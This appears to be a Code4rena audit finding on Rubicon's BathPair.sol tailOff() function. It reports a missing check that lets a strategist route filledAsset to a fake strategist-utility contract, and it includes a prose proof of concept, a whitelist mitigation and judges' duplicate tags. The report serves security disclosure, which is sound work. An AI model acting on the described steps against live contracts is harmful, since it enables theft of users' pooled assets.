No check for external call in tailoff as such malicious strategists could call any external contract from any address

[code423n4]

Lines of code

https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathPair.sol#L535-L563

Vulnerability details

Without the check on _stratUtil address, malicious strategist could arbitariry add any corrupt address which will cause rebalance() in IBathToken to transfer() filledAsset to that malicious contract. That fake strategistUtility could also create fake function which makes it comply to the interface.

The lack of check could result in the stealing of exceeded assets that cannot get swapped back without incuring the loss during rebalancing.

Right now current strategists need to get approved by the BathHouse which may assure that this exploit will not happen to a certain degree but, in the future, as the project growing, the need for decentralized strategists will rise and the check for the strategist will be the minimum requirement.

proof of concept

1.Malicious strategist creates fake IStrategistUtility with similar function to real IStrategistUtility

2.Malicious strategist input the address of fake IStrategistUtility in _stratUtil of tailOff() in BathPair

3.tailOff() then call rebalance() in the IBathToken

4.rebalance() after calculating stratReward transfer filledAsset to fake IStrategistUtility

5.tailOff() will then call UNIdump() in fake IStrategistUtility, resulting in nothing happening and filledAsset getting stolen.

Mitigation

The contract owner should add some check or whitelist over the external address to make sure that the assets will only be sent to a verified address

[bghughes]

Duplicate of #113 #344

[HickupHH3]

Duplicate of #157

[HickupHH3]

Centralisation risk issue: #344

[HickupHH3]

duplicate of #211